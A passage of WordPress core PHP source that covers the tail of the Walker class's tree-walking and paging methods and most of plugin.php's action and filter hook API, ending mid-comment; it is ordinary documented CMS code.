		if ( -1 == $max_depth ) {
			$empty_array = array();
			foreach ( $elements as $e ) {
				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
			}
			return $output;
		}

		/*
		 * Need to display in hierarchical order.
		 * Separate elements into two buckets: top level and children elements.
		 * Children_elements is two dimensional array. Example:
		 * Children_elements[10][] contains all sub-elements whose parent is 10.
		 */
		$top_level_elements = array();
		$children_elements  = array();
		foreach ( $elements as $e ) {
			if ( empty( $e->$parent_field ) ) {
				$top_level_elements[] = $e;
			} else {
				$children_elements[ $e->$parent_field ][] = $e;
			}
		}

		/*
		 * When none of the elements is top level.
		 * Assume the first one must be root of the sub elements.
		 */
		if ( empty( $top_level_elements ) ) {

			$first = array_slice( $elements, 0, 1 );
			$root  = $first[0];

			$top_level_elements = array();
			$children_elements  = array();
			foreach ( $elements as $e ) {
				if ( $root->$parent_field == $e->$parent_field ) {
					$top_level_elements[] = $e;
				} else {
					$children_elements[ $e->$parent_field ][] = $e;
				}
			}
		}

		foreach ( $top_level_elements as $e ) {
			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
		}

		/*
		 * If we are displaying all levels, and remaining children_elements is not empty,
		 * then we got orphans, which should be displayed regardless.
		 */
		if ( ( 0 == $max_depth ) && count( $children_elements ) > 0 ) {
			$empty_array = array();
			foreach ( $children_elements as $orphans ) {
				foreach ( $orphans as $op ) {
					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
				}
			}
		}

		return $output;
	}

	/**
	 * Produces a page of nested elements.
	 *
	 * Given an array of hierarchical elements, the maximum depth, a specific page number,
	 * and number of elements per page, this function first determines all top level root elements
	 * belonging to that page, then lists them and all of their children in hierarchical order.
	 *
	 * $max_depth = 0 means display all levels.
	 * $max_depth > 0 specifies the number of display levels.
	 *
	 * @since 2.7.0
	 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 *
	 * @param array $elements  An array of elements.
	 * @param int   $max_depth The maximum hierarchical depth.
	 * @param int   $page_num  The specific page number, beginning with 1.
	 * @param int   $per_page  Number of elements per page.
	 * @param mixed ...$args   Optional additional arguments.
	 * @return string XHTML of the specified page of elements.
	 */
	public function paged_walk( $elements, $max_depth, $page_num, $per_page, ...$args ) {
		if ( empty( $elements ) || $max_depth < -1 ) {
			return '';
		}

		$output = '';

		$parent_field = $this->db_fields['parent'];

		$count = -1;
		if ( -1 == $max_depth ) {
			$total_top = count( $elements );
		}
		if ( $page_num < 1 || $per_page < 0 ) {
			// No paging.
			$paging = false;
			$start  = 0;
			if ( -1 == $max_depth ) {
				$end = $total_top;
			}
			$this->max_pages = 1;
		} else {
			$paging = true;
			$start  = ( (int) $page_num - 1 ) * (int) $per_page;
			$end    = $start + $per_page;
			if ( -1 == $max_depth ) {
				$this->max_pages = (int) ceil( $total_top / $per_page );
			}
		}

		// Flat display.
		if ( -1 == $max_depth ) {
			if ( ! empty( $args[0]['reverse_top_level'] ) ) {
				$elements = array_reverse( $elements );
				$oldstart = $start;
				$start    = $total_top - $end;
				$end      = $total_top - $oldstart;
			}

			$empty_array = array();
			foreach ( $elements as $e ) {
				++$count;
				if ( $count < $start ) {
					continue;
				}
				if ( $count >= $end ) {
					break;
				}
				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
			}
			return $output;
		}

		/*
		 * Separate elements into two buckets: top level and children elements.
		 * Children_elements is two dimensional array, e.g.
		 * $children_elements[10][] contains all sub-elements whose parent is 10.
		 */
		$top_level_elements = array();
		$children_elements  = array();
		foreach ( $elements as $e ) {
			if ( empty( $e->$parent_field ) ) {
				$top_level_elements[] = $e;
			} else {
				$children_elements[ $e->$parent_field ][] = $e;
			}
		}

		$total_top = count( $top_level_elements );
		if ( $paging ) {
			$this->max_pages = (int) ceil( $total_top / $per_page );
		} else {
			$end = $total_top;
		}

		if ( ! empty( $args[0]['reverse_top_level'] ) ) {
			$top_level_elements = array_reverse( $top_level_elements );
			$oldstart           = $start;
			$start              = $total_top - $end;
			$end                = $total_top - $oldstart;
		}
		if ( ! empty( $args[0]['reverse_children'] ) ) {
			foreach ( $children_elements as $parent => $children ) {
				$children_elements[ $parent ] = array_reverse( $children );
			}
		}

		foreach ( $top_level_elements as $e ) {
			++$count;

			// For the last page, need to unset earlier children in order to keep track of orphans.
			if ( $end >= $total_top && $count < $start ) {
					$this->unset_children( $e, $children_elements );
			}

			if ( $count < $start ) {
				continue;
			}

			if ( $count >= $end ) {
				break;
			}

			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
		}

		if ( $end >= $total_top && count( $children_elements ) > 0 ) {
			$empty_array = array();
			foreach ( $children_elements as $orphans ) {
				foreach ( $orphans as $op ) {
					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
				}
			}
		}

		return $output;
	}

	/**
	 * Calculates the total number of root elements.
	 *
	 * @since 2.7.0
	 *
	 * @param array $elements Elements to list.
	 * @return int Number of root elements.
	 */
	public function get_number_of_root_elements( $elements ) {
		$num          = 0;
		$parent_field = $this->db_fields['parent'];

		foreach ( $elements as $e ) {
			if ( empty( $e->$parent_field ) ) {
				++$num;
			}
		}
		return $num;
	}

	/**
	 * Unsets all the children for a given top level element.
	 *
	 * @since 2.7.0
	 *
	 * @param object $element           The top level element.
	 * @param array  $children_elements The children elements.
	 */
	public function unset_children( $element, &$children_elements ) {
		if ( ! $element || ! $children_elements ) {
			return;
		}

		$id_field = $this->db_fields['id'];
		$id       = $element->$id_field;

		if ( ! empty( $children_elements[ $id ] ) && is_array( $children_elements[ $id ] ) ) {
			foreach ( (array) $children_elements[ $id ] as $child ) {
				$this->unset_children( $child, $children_elements );
			}
		}

		unset( $children_elements[ $id ] );
	}
}
<?php
/**
 * The plugin API is located in this file, which allows for creating actions
 * and filters and hooking functions, and methods. The functions or methods will
 * then be run when the action or filter is called.
 *
 * The API callback examples reference functions, but can be methods of classes.
 * To hook methods, you'll need to pass an array one of two ways.
 *
 * Any of the syntaxes explained in the PHP documentation for the
 * {@link https://www.php.net/manual/en/language.pseudo-types.php#language.types.callback 'callback'}
 * type are valid.
 *
 * Also see the {@link https://developer.wordpress.org/plugins/ Plugin API} for
 * more information and examples on how to use a lot of these functions.
 *
 * This file should have no external dependencies.
 *
 * @package WordPress
 * @subpackage Plugin
 * @since 1.5.0
 */

// Initialize the filter globals.
require __DIR__ . '/class-wp-hook.php';

/** @var WP_Hook[] $wp_filter */
global $wp_filter;

/** @var int[] $wp_actions */
global $wp_actions;

/** @var int[] $wp_filters */
global $wp_filters;

/** @var string[] $wp_current_filter */
global $wp_current_filter;

if ( $wp_filter ) {
	$wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );
} else {
	$wp_filter = array();
}

if ( ! isset( $wp_actions ) ) {
	$wp_actions = array();
}

if ( ! isset( $wp_filters ) ) {
	$wp_filters = array();
}

if ( ! isset( $wp_current_filter ) ) {
	$wp_current_filter = array();
}

/**
 * Adds a callback function to a filter hook.
 *
 * WordPress offers filter hooks to allow plugins to modify
 * various types of internal data at runtime.
 *
 * A plugin can modify data by binding a callback to a filter hook. When the filter
 * is later applied, each bound callback is run in order of priority, and given
 * the opportunity to modify a value by returning a new value.
 *
 * The following example shows how a callback function is bound to a filter hook.
 *
 * Note that `$example` is passed to the callback, (maybe) modified, then returned:
 *
 *     function example_callback( $example ) {
 *         // Maybe modify $example in some way.
 *         return $example;
 *     }
 *     add_filter( 'example_filter', 'example_callback' );
 *
 * Bound callbacks can accept from none to the total number of arguments passed as parameters
 * in the corresponding apply_filters() call.
 *
 * In other words, if an apply_filters() call passes four total arguments, callbacks bound to
 * it can accept none (the same as 1) of the arguments or up to four. The important part is that
 * the `$accepted_args` value must reflect the number of arguments the bound callback *actually*
 * opted to accept. If no arguments were accepted by the callback that is considered to be the
 * same as accepting 1 argument. For example:
 *
 *     // Filter call.
 *     $value = apply_filters( 'hook', $value, $arg2, $arg3 );
 *
 *     // Accepting zero/one arguments.
 *     function example_callback() {
 *         ...
 *         return 'some value';
 *     }
 *     add_filter( 'hook', 'example_callback' ); // Where $priority is default 10, $accepted_args is default 1.
 *
 *     // Accepting two arguments (three possible).
 *     function example_callback( $value, $arg2 ) {
 *         ...
 *         return $maybe_modified_value;
 *     }
 *     add_filter( 'hook', 'example_callback', 10, 2 ); // Where $priority is 10, $accepted_args is 2.
 *
 * *Note:* The function will return true whether or not the callback is valid.
 * It is up to you to take care. This is done for optimization purposes, so
 * everything is as quick as possible.
 *
 * @since 0.71
 *
 * @global WP_Hook[] $wp_filter A multidimensional array of all hooks and the callbacks hooked to them.
 *
 * @param string   $hook_name     The name of the filter to add the callback to.
 * @param callable $callback      The callback to be run when the filter is applied.
 * @param int      $priority      Optional. Used to specify the order in which the functions
 *                                associated with a particular filter are executed.
 *                                Lower numbers correspond with earlier execution,
 *                                and functions with the same priority are executed
 *                                in the order in which they were added to the filter. Default 10.
 * @param int      $accepted_args Optional. The number of arguments the function accepts. Default 1.
 * @return true Always returns true.
 */
function add_filter( $hook_name, $callback, $priority = 10, $accepted_args = 1 ) {
	global $wp_filter;

	if ( ! isset( $wp_filter[ $hook_name ] ) ) {
		$wp_filter[ $hook_name ] = new WP_Hook();
	}

	$wp_filter[ $hook_name ]->add_filter( $hook_name, $callback, $priority, $accepted_args );

	return true;
}

/**
 * Calls the callback functions that have been added to a filter hook.
 *
 * This function invokes all functions attached to filter hook `$hook_name`.
 * It is possible to create new filter hooks by simply calling this function,
 * specifying the name of the new hook using the `$hook_name` parameter.
 *
 * The function also allows for multiple additional arguments to be passed to hooks.
 *
 * Example usage:
 *
 *     // The filter callback function.
 *     function example_callback( $string, $arg1, $arg2 ) {
 *         // (maybe) modify $string.
 *         return $string;
 *     }
 *     add_filter( 'example_filter', 'example_callback', 10, 3 );
 *
 *     /*
 *      * Apply the filters by calling the 'example_callback()' function
 *      * that's hooked onto `example_filter` above.
 *      *
 *      * - 'example_filter' is the filter hook.
 *      * - 'filter me' is the value being filtered.
 *      * - $arg1 and $arg2 are the additional arguments passed to the callback.
 *     $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 );
 *
 * @since 0.71
 * @since 6.0.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @global WP_Hook[] $wp_filter         Stores all of the filters and actions.
 * @global int[]     $wp_filters        Stores the number of times each filter was triggered.
 * @global string[]  $wp_current_filter Stores the list of current filters with the current one last.
 *
 * @param string $hook_name The name of the filter hook.
 * @param mixed  $value     The value to filter.
 * @param mixed  ...$args   Optional. Additional parameters to pass to the callback functions.
 * @return mixed The filtered value after all hooked functions are applied to it.
 */
function apply_filters( $hook_name, $value, ...$args ) {
	global $wp_filter, $wp_filters, $wp_current_filter;

	if ( ! isset( $wp_filters[ $hook_name ] ) ) {
		$wp_filters[ $hook_name ] = 1;
	} else {
		++$wp_filters[ $hook_name ];
	}

	// Do 'all' actions first.
	if ( isset( $wp_filter['all'] ) ) {
		$wp_current_filter[] = $hook_name;

		$all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
		_wp_call_all_hook( $all_args );
	}

	if ( ! isset( $wp_filter[ $hook_name ] ) ) {
		if ( isset( $wp_filter['all'] ) ) {
			array_pop( $wp_current_filter );
		}

		return $value;
	}

	if ( ! isset( $wp_filter['all'] ) ) {
		$wp_current_filter[] = $hook_name;
	}

	// Pass the value to WP_Hook.
	array_unshift( $args, $value );

	$filtered = $wp_filter[ $hook_name ]->apply_filters( $value, $args );

	array_pop( $wp_current_filter );

	return $filtered;
}

/**
 * Calls the callback functions that have been added to a filter hook, specifying arguments in an array.
 *
 * @since 3.0.0
 *
 * @see apply_filters() This function is identical, but the arguments passed to the
 *                      functions hooked to `$hook_name` are supplied using an array.
 *
 * @global WP_Hook[] $wp_filter         Stores all of the filters and actions.
 * @global int[]     $wp_filters        Stores the number of times each filter was triggered.
 * @global string[]  $wp_current_filter Stores the list of current filters with the current one last.
 *
 * @param string $hook_name The name of the filter hook.
 * @param array  $args      The arguments supplied to the functions hooked to `$hook_name`.
 * @return mixed The filtered value after all hooked functions are applied to it.
 */
function apply_filters_ref_array( $hook_name, $args ) {
	global $wp_filter, $wp_filters, $wp_current_filter;

	if ( ! isset( $wp_filters[ $hook_name ] ) ) {
		$wp_filters[ $hook_name ] = 1;
	} else {
		++$wp_filters[ $hook_name ];
	}

	// Do 'all' actions first.
	if ( isset( $wp_filter['all'] ) ) {
		$wp_current_filter[] = $hook_name;
		$all_args            = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
		_wp_call_all_hook( $all_args );
	}

	if ( ! isset( $wp_filter[ $hook_name ] ) ) {
		if ( isset( $wp_filter['all'] ) ) {
			array_pop( $wp_current_filter );
		}

		return $args[0];
	}

	if ( ! isset( $wp_filter['all'] ) ) {
		$wp_current_filter[] = $hook_name;
	}

	$filtered = $wp_filter[ $hook_name ]->apply_filters( $args[0], $args );

	array_pop( $wp_current_filter );

	return $filtered;
}

/**
 * Checks if any filter has been registered for a hook.
 *
 * When using the `$callback` argument, this function may return a non-boolean value
 * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value.
 *
 * @since 2.5.0
 *
 * @global WP_Hook[] $wp_filter Stores all of the filters and actions.
 *
 * @param string                      $hook_name The name of the filter hook.
 * @param callable|string|array|false $callback  Optional. The callback to check for.
 *                                               This function can be called unconditionally to speculatively check
 *                                               a callback that may or may not exist. Default false.
 * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has
 *                  anything registered. When checking a specific function, the priority
 *                  of that hook is returned, or false if the function is not attached.
 */
function has_filter( $hook_name, $callback = false ) {
	global $wp_filter;

	if ( ! isset( $wp_filter[ $hook_name ] ) ) {
		return false;
	}

	return $wp_filter[ $hook_name ]->has_filter( $hook_name, $callback );
}

/**
 * Removes a callback function from a filter hook.
 *
 * This can be used to remove default functions attached to a specific filter
 * hook and possibly replace them with a substitute.
 *
 * To remove a hook, the `$callback` and `$priority` arguments must match
 * when the hook was added. This goes for both filters and actions. No warning
 * will be given on removal failure.
 *
 * @since 1.2.0
 *
 * @global WP_Hook[] $wp_filter Stores all of the filters and actions.
 *
 * @param string                $hook_name The filter hook to which the function to be removed is hooked.
 * @param callable|string|array $callback  The callback to be removed from running when the filter is applied.
 *                                         This function can be called unconditionally to speculatively remove
 *                                         a callback that may or may not exist.
 * @param int                   $priority  Optional. The exact priority used when adding the original
 *                                         filter callback. Default 10.
 * @return bool Whether the function existed before it was removed.
 */
function remove_filter( $hook_name, $callback, $priority = 10 ) {
	global $wp_filter;

	$r = false;

	if ( isset( $wp_filter[ $hook_name ] ) ) {
		$r = $wp_filter[ $hook_name ]->remove_filter( $hook_name, $callback, $priority );

		if ( ! $wp_filter[ $hook_name ]->callbacks ) {
			unset( $wp_filter[ $hook_name ] );
		}
	}

	return $r;
}

/**
 * Removes all of the callback functions from a filter hook.
 *
 * @since 2.7.0
 *
 * @global WP_Hook[] $wp_filter Stores all of the filters and actions.
 *
 * @param string    $hook_name The filter to remove callbacks from.
 * @param int|false $priority  Optional. The priority number to remove them from.
 *                             Default false.
 * @return true Always returns true.
 */
function remove_all_filters( $hook_name, $priority = false ) {
	global $wp_filter;

	if ( isset( $wp_filter[ $hook_name ] ) ) {
		$wp_filter[ $hook_name ]->remove_all_filters( $priority );

		if ( ! $wp_filter[ $hook_name ]->has_filters() ) {
			unset( $wp_filter[ $hook_name ] );
		}
	}

	return true;
}

/**
 * Retrieves the name of the current filter hook.
 *
 * @since 2.5.0
 *
 * @global string[] $wp_current_filter Stores the list of current filters with the current one last
 *
 * @return string Hook name of the current filter.
 */
function current_filter() {
	global $wp_current_filter;

	return end( $wp_current_filter );
}

/**
 * Returns whether or not a filter hook is currently being processed.
 *
 * The function current_filter() only returns the most recent filter being executed.
 * did_filter() returns the number of times a filter has been applied during
 * the current request.
 *
 * This function allows detection for any filter currently being executed
 * (regardless of whether it's the most recent filter to fire, in the case of
 * hooks called from hook callbacks) to be verified.
 *
 * @since 3.9.0
 *
 * @see current_filter()
 * @see did_filter()
 * @global string[] $wp_current_filter Current filter.
 *
 * @param string|null $hook_name Optional. Filter hook to check. Defaults to null,
 *                               which checks if any filter is currently being run.
 * @return bool Whether the filter is currently in the stack.
 */
function doing_filter( $hook_name = null ) {
	global $wp_current_filter;

	if ( null === $hook_name ) {
		return ! empty( $wp_current_filter );
	}

	return in_array( $hook_name, $wp_current_filter, true );
}

/**
 * Retrieves the number of times a filter has been applied during the current request.
 *
 * @since 6.1.0
 *
 * @global int[] $wp_filters Stores the number of times each filter was triggered.
 *
 * @param string $hook_name The name of the filter hook.
 * @return int The number of times the filter hook has been applied.
 */
function did_filter( $hook_name ) {
	global $wp_filters;

	if ( ! isset( $wp_filters[ $hook_name ] ) ) {
		return 0;
	}

	return $wp_filters[ $hook_name ];
}

/**
 * Adds a callback function to an action hook.
 *
 * Actions are the hooks that the WordPress core launches at specific points
 * during execution, or when specific events occur. Plugins can specify that
 * one or more of its PHP functions are executed at these points, using the
 * Action API.
 *
 * @since 1.2.0
 *
 * @param string   $hook_name       The name of the action to add the callback to.
 * @param callable $callback        The callback to be run when the action is called.
 * @param int      $priority        Optional. Used to specify the order in which the functions
 *                                  associated with a particular action are executed.
 *                                  Lower numbers correspond with earlier execution,
 *                                  and functions with the same priority are executed
 *                                  in the order in which they were added to the action. Default 10.
 * @param int      $accepted_args   Optional. The number of arguments the function accepts. Default 1.
 * @return true Always returns true.
 */
function add_action( $hook_name, $callback, $priority = 10, $accepted_args = 1 ) {
	return add_filter( $hook_name, $callback, $priority, $accepted_args );
}

/**
 * Calls the callback functions that have been added to an action hook.
 *
 * This function invokes all functions attached to action hook `$hook_name`.
 * It is possible to create new action hooks by simply calling this function,
 * specifying the name of the new hook using the `$hook_name` parameter.
 *
 * You can pass extra arguments to the hooks, much like you can with `apply_filters()`.
 *
 * Example usage:
 *
 *     // The action callback function.
 *     function example_callback( $arg1, $arg2 ) {
 *         // (maybe) do something with the args.
 *     }
 *     add_action( 'example_action', 'example_callback', 10, 2 );
 *
 *     /*
 *      * Trigger the actions by calling the 'example_callback()' function
 *      * that's hooked onto `example_action` above.
 *      *
 *      * - 'example_action' is the action hook.
 *      * - $arg1 and $arg2 are the additional arguments passed to the callback.
 *     do_action( 'example_action', $arg1, $arg2 );
 *
 * @since 1.2.0
 * @since 5.3.0 Formalized the existing and already documented `...$arg` parameter
 *              by adding it to the function signature.
 *
 * @global WP_Hook[] $wp_filter         Stores all of the filters and actions.
 * @global int[]     $wp_actions        Stores the number of times each action was triggered.
 * @global string[]  $wp_current_filter Stores the list of current filters with the current one last.
 *
 * @param string $hook_name The name of the action to be executed.
 * @param mixed  ...$arg    Optional. Additional arguments which are passed on to the
 *                          functions hooked to the action. Default empty.
 */
function do_action( $hook_name, ...$arg ) {
	global $wp_filter, $wp_actions, $wp_current_filter;

	if ( ! isset( $wp_actions[ $hook_name ] ) ) {
		$wp_actions[ $hook_name ] = 1;
	} else {
		++$wp_actions[ $hook_name ];
	}

	// Do 'all' actions first.
	if ( isset( $wp_filter['all'] ) ) {
		$wp_current_filter[] = $hook_name;
		$all_args            = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
		_wp_call_all_hook( $all_args );
	}

	if ( ! isset( $wp_filter[ $hook_name ] ) ) {
		if ( isset( $wp_filter['all'] ) ) {
			array_pop( $wp_current_filter );
		}

		return;
	}

	if ( ! isset( $wp_filter['all'] ) ) {
		$wp_current_filter[] = $hook_name;
	}

	if ( empty( $arg ) ) {
		$arg[] = '';
	} elseif ( is_array( $arg[0] ) && 1 === count( $arg[0] ) && isset( $arg[0][0] ) && is_object( $arg[0][0] ) ) {
		// Backward compatibility for PHP4-style passing of `array( &$this )` as action `$arg`.
		$arg[0] = $arg[0][0];
	}

	$wp_filter[ $hook_name ]->do_action( $arg );

	array_pop( $wp_current_filter );
}

/**
 * Calls the callback functions that have been added to an action hook, specifying arguments in an array.
 *
 * @since 2.1.0
 *
 * @see do_action() This function is identical, but the arguments passed to the
 *                  functions hooked to `$hook_name` are supplied using an array.
 *
 * @global WP_Hook[] $wp_filter         Stores all of the filters and actions.
 * @global int[]     $wp_actions        Stores the number of times each action was triggered.
 * @global string[]  $wp_current_filter Stores the list of current filters with the current one last.
 *
 * @param string $hook_name The name of the action to be executed.
 * @param array  $args      The arguments supplied to the functions hooked to `$hook_name`.
 */
function do_action_ref_array( $hook_name, $args ) {
	global $wp_filter, $wp_actions, $wp_current_filter;

	if ( ! isset( $wp_actions[ $hook_name ] ) ) {
		$wp_actions[ $hook_name ] = 1;
	} else {
		++$wp_actions[ $hook_name ];
	}

	// Do 'all' actions first.
	if ( isset( $wp_filter['all'] ) ) {
		$wp_current_filter[] = $hook_name;
		$all_args            = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
		_wp_call_all_hook( $all_args );
	}

	if ( ! isset( $wp_filter[ $hook_name ] ) ) {
		if ( isset( $wp_filter['all'] ) ) {
			array_pop( $wp_current_filter );
		}

		return;
	}

	if ( ! isset( $wp_filter['all'] ) ) {
		$wp_current_filter[] = $hook_name;
	}

	$wp_filter[ $hook_name ]->do_action( $args );

	array_pop( $wp_current_filter );
}

/**
 * Checks if any action has been registered for a hook.
 *
 * When using the `$callback` argument, this function may return a non-boolean value
 * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value.
 *
 * @since 2.5.0
 *
 * @see has_filter() This function is an alias of has_filter().
 *
 * @param string                      $hook_name The name of the action hook.
 * @param callable|string|array|false $callback  Optional. The callback to check for.
 *                                               This function can be called unconditionally to speculatively check
 *                                               a callback that may or may not exist. Default false.
 * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has
 *                  anything registered. When checking a specific function, the priority
 *                  of that hook is returned, or false if the function is not attached.
 */
function has_action( $hook_name, $callback = false ) {
	return has_filter( $hook_name, $callback );
}

/**
 * Removes a callback function from an action hook.
 *
 * This can be used to remove default functions attached to a specific action
 * hook and possibly replace them with a substitute.
 *
 * To remove a hook, the `$callback` and `$priority` arguments must match
 * when the hook was added. This goes for both filters and actions. No warning
 * will be given on removal failure.
 *
 * @since 1.2.0
 *
 * @param string                $hook_name The action hook to which the function to be removed is hooked.
 * @param callable|string|array $callback  The name of the function which should be removed.
 *                                         This function can be called unconditionally to speculatively remove
 *                                         a callback that may or may not exist.
 * @param int                   $priority  Optional. The exact priority used when adding the original
 *                                         action callback. Default 10.
 * @return bool Whether the function is removed.
 */
function remove_action( $hook_name, $callback, $priority = 10 ) {
	return remove_filter( $hook_name, $callback, $priority );
}

/**
 * Removes all of the callback functions from an action hook.
 *
 * @since 2.7.0
 *
 * @param string    $hook_name The action to remove callbacks from.
 * @param int|false $priority  Optional. The priority number to remove them from.
 *                             Default false.
 * @return true Always returns true.
 */
function remove_all_actions( $hook_name, $priority = false ) {
	return remove_all_filters( $hook_name, $priority );
}

/**
 * Retrieves the name of the current action hook.
 *
 * @since 3.9.0
 *
 * @return string Hook name of the current action.
 */
function current_action() {
	return current_filter();
}

/**
 * Returns whether or not an action hook is currently being processed.
 *
 * The function current_action() only returns the most recent action being executed.
 * did_action() returns the number of times an action has been fired during
 * the current request.
 *
 * This function allows detection for any action currently being executed
 * (regardless of whether it's the most recent action to fire, in the case of
 * hooks called from hook callbacks) to be verified.
 *
 * @since 3.9.0
 *
 * @see current_action()
 * @see did_action()
 *
 * @param string|null $hook_name Optional. Action hook to check. Defaults to null,
 *                               which checks if any action is currently being run.
 * @return bool Whether the action is currently in the stack.
 */
function doing_action( $hook_name = null ) {
	return doing_filter( $hook_name );
}

/**
 * Retrieves the number of times an action has been fired during the current request.
 *
 * @since 2.1.0
 *
 * @global int[] $wp_actions Stores the number of times each action was triggered.
 *
 * @param string $hook_name The name of the action hook.
 * @return int The number of times the action hook has been fired.
 */
function did_action( $hook_name ) {
	global $wp_actions;

	if ( ! isset( $wp_actions[ $hook_name ] ) ) {
		return 0;
	}

	return $wp_actions[ $hook_name ];
}

/**
 * Fires functions attached to a deprecated filter hook.
 *
 * When a filter hook is deprecated, the apply_filters() call is replaced with
 * apply_filters_deprecated(), which triggers a deprecation notice and then fires
 * the original filter hook.
 *
 * Note: the value and extra arguments passed to the original apply_filters() call
 * must be passed here to `$args` as an array. For example:
 *
 *     // Old filter.
 *     return apply_filters( 'wpdocs_filter', $value, $extra_arg );
 *
 *     // Deprecated.
 *     return apply_filters_deprecated( 'wpdocs_filter', array( $value, $extra_arg ), '4.9.0', 'wpdocs_new_filter' );
 *
 * @since 4.6.0
 *
 * @see _deprecated_hook()
 *
 * @param string $hook_name   The name of the filter hook.
 * @param array  $args        Array of additional function arguments to be passed to apply_filters().
 * @param string $version     The version of WordPress that deprecated the hook.
 * @param string $replacement Optional. The hook that should have been used. Default empty.
 * @param string $message     Optional. A message regarding the change. Default empty.
 * @return mixed The filtered value after all hooked functions are applied to it.
 */
function apply_filters_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) {
	if ( ! has_filter( $hook_name ) ) {
		return $args[0];
	}

	_deprecated_hook( $hook_name, $version, $replacement, $message );

	return apply_filters_ref_array( $hook_name, $args );
}

/**
 * Fires functions attached to a deprecated action hook.
 *
 * When an action hook is deprecated, the do_action() call is replaced with
 * do_action_deprecated(), which triggers a deprecation notice and then fires
 * the original hook.
 *
 * @since 4.6.0
 *
 * @see _deprecated_hook()
 *
 * @param string $hook_name   The name of the action hook.
 * @param array  $args        Array of additional function arguments to be passed to do_action().
 * @param string $version     The version of WordPress that deprecated the hook.
 * @param string $replacement Optional. The hook that should have been used. Default empty.
 * @param string $message     Optional. A message regarding the change. Default empty.
 */
function do_action_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) {
	if ( ! has_action( $hook_name ) ) {
		return;
	}

	_deprecated_hook( $hook_name, $version, $replacement, $message );

	do_action_ref_array( $hook_name, $args );
}

//
// Functions for handling plugins.
//

/**
 * Gets the basename of a plugin.
 *
 * This method extracts the name of a plugin from its filename.
 *
 * @since 1.5.0
 *
 * @global array $wp_plugin_paths
 *
 * @param string $file The filename of plugin.
 * @return string The name of a plugin.
 */
function plugin_basename( $file ) {
	global $wp_plugin_paths;

	// $wp_plugin_paths contains normalized paths.
	$file = wp_normalize_path( $file );

	arsort( $wp_plugin_paths );

	foreach ( $wp_plugin_paths as $dir => $realdir ) {
		if ( str_starts_with( $file, $realdir ) ) {
			$file = $dir . substr( $file, strlen( $realdir ) );
		}
	}

	$plugin_dir    = wp_normalize_path( WP_PLUGIN_DIR );
	$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );

	// Get relative path from plugins directory.
	$file = preg_replace( '#^' . preg_quote( $plugin_dir, '#' ) . '/|^' . preg_quote( $mu_plugin_dir, '#' ) . '/#', '', $file );
	$file = trim( $file, '/' );
	return $file;
}

/**
 * Register a plugin's real path.
 *
 * This is used in plugin_basename() to resolve symlinked paths.
 *
 * @since 3.9.0
 *
 * @see wp_normalize_path()
 *
 * @global array $wp_plugin_paths
 *
 * @param string $file Known path to the file.
 * @return bool Whether the path was able to be registered.
 */
function wp_register_plugin_realpath( $file ) {
	global $wp_plugin_paths;

	// Normalize, but store as static to avoid recalculation of a constant value.
	static $wp_plugin_path = null, $wpmu_plugin_path = null;

	if ( ! isset( $wp_plugin_path ) ) {
		$wp_plugin_path   = wp_normalize_path( WP_PLUGIN_DIR );
		$wpmu_plugin_path = wp_normalize_path( WPMU_PLUGIN_DIR );
	}

	$plugin_path     = wp_normalize_path( dirname( $file ) );
	$plugin_realpath = wp_normalize_path( dirname( realpath( $file ) ) );

	if ( $plugin_path === $wp_plugin_path || $plugin_path === $wpmu_plugin_path ) {
		return false;
	}

	if ( $plugin_path !== $plugin_realpath ) {
		$wp_plugin_paths[ $plugin_path ] = $plugin_realpath;
	}

	return true;
}

/**
 * Get the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in.
 *
 * @since 2.8.0
 *
 * @param string $file The filename of the plugin (__FILE__).
 * @return string the filesystem path of the directory that contains the plugin.
 */
function plugin_dir_path( $file ) {
	return trailingslashit( dirname( $file ) );
}

/**
 * Get the URL directory path (with trailing slash) for the plugin __FILE__ passed in.
 *
 * @since 2.8.0
 *
 * @param string $file The filename of the plugin (__FILE__).
 * @return string the URL path of the directory that contains the plugin.
 */
function plugin_dir_url( $file ) {
	return trailingslashit( plugins_url( '', $file ) );
}

/**
 * Set the activation hook for a plugin.
 *
 * When a plugin is activated, the action 'activate_PLUGINNAME' hook is
 * called. In the name of this hook, PLUGINNAME is replaced with the name
 * of the plugin, including the optional subdirectory. For example, when the
 * plugin is located in wp-content/plugins/sampleplugin/sample.php, then
 * the name of this hook will become 'activate_sampleplugin/sample.php'.
 *
 * When the plugin consists of only one file and is (as by default) located at
 * wp-content/plugins/sample.php the name of this hook will be
 * 'activate_sample.php'.
 *
 * @since 2.0.0
 *
 * @param string   $file     The filename of the plugin including the path.
 * @param callable $callback The function hooked to the 'activate_PLUGIN' action.
 */
function register_activation_hook( $file, $callback ) {
	$file = plugin_basename( $file );
	add_action( 'activate_' . $file, $callback );
}

/**
 * Sets the deactivation hook for a plugin.
 *
 * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is
 * called. In the name of this hook, PLUGINNAME is replaced with the name
 * of the plugin, including the optional subdirectory. For example, when the
 * plugin is located in wp-content/plugins/sampleplugin/sample.php, then
 * the name of this hook will become 'deactivate_sampleplugin/sample.php'.
 *
 * When the plugin consists of only one file and is (as by default) located at
 * wp-content/plugins/sample.php the name of this hook will be
